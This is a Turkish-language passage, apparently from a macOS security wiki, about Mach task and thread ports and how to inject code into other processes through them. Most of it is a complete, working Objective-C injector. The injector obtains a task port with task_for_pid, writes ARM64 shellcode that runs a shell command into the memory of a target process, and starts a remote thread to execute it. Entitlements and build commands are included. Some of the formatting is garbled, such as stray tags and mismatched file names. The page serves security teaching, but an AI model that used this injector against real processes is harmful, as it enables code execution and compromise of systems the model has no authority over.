  • com.apple.system-task-ports yetkisine sahip uygulamalar, çekirdek hariç olmak üzere herhangi bir işlem için görev bağlantı noktasını alabilir. Daha eski sürümlerde task_for_pid-allow olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.

  • Root, sertifikalı olmayan bir çalıştırma zamanıyla derlenmiş uygulamaların görev bağlantı noktalarına erişebilir (ve Apple'dan değil).

Görev adı bağlantı noktası: Görev bağlantı noktasının ayrıcalıklı olmayan bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca task_info() aracılığıyla erişilebileceği görülen tek şey budur.

İş Parçacığı Bağlantı Noktaları

İş parçacıklarının da ilişkili bağlantı noktaları vardır ve bu bağlantı noktaları, task_threads'i çağıran görev ve processor_set_threads ile işlemci tarafından görülebilir. Bir iş parçacığı bağlantı noktasına BİRİM hakkı, thread_act alt sistemindeki işlevleri kullanmaya izin verir, örneğin:

  • thread_terminate

  • thread_[get/set]_state

  • act_[get/set]_state

  • thread_[suspend/resume]

  • thread_info

  • ...

Herhangi bir iş parçacığı, mach_thread_sef'i çağırarak bu bağlantı noktasını alabilir.

Görev Bağlantı Noktası Aracılığıyla İş Parçacığına Kabuk Kodu Enjeksiyonu

Kabuk kodunu şuradan alabilirsiniz:

Introduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

İzinler.plist

Bu dosya, uygulamanın sistem kaynaklarına erişim düzeyini belirleyen yetkilendirme bilgilerini içerir. Bu yetkilendirmeler, uygulamanın hangi işlemleri gerçekleştirebileceğini ve hangi sistem kaynaklarına erişebileceğini belirler. Bu dosya, uygulamanın güvenliğini artırmak ve ayrıcalık yükseltme saldırılarını önlemek için önemlidir.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Önceki programı derleyin ve aynı kullanıcıyla kod enjekte etmek için yetkileri ekleyin (aksi halde sudo kullanmanız gerekecektir).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</detaylar>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Bu işlemi iOS'ta çalıştırmak için, yazılabilir bir belleği yürütülebilir hale getirmek için dynamic-codesigning yetkisine ihtiyacınız vardır.

Görev bağlantısı aracılığıyla Thread'e Dylib Enjeksiyonu

MacOS'ta thread'ler, Mach veya posix pthread api kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğundan posix uyumlu değildir.

Bir komutu yürütmek için basit bir shellcode enjekte etmek mümkündü çünkü bu, posix uyumlu api'lerle çalışmaya gerek duymuyordu, sadece Mach ile çalışıyordu. Daha karmaşık enjeksiyonlar için thread'in aynı zamanda posix uyumlu olması gerekir.

Bu nedenle, thread'i iyileştirmek için pthread_create_from_mach_thread çağrısı yapılmalıdır ki bu da geçerli bir pthread oluşturacaktır. Sonrasında, bu yeni pthread, sistemden bir dylib yüklemek için dlopen'ı çağırabilir, böylece farklı işlemler gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkün olacaktır.

Örnek dylib'leri (örneğin bir log oluşturan ve ardından dinleyebileceğiniz bir dylib):

PreviousmacOS Function HookingNextmacOS MIG - Mach Interface Generator

Last updated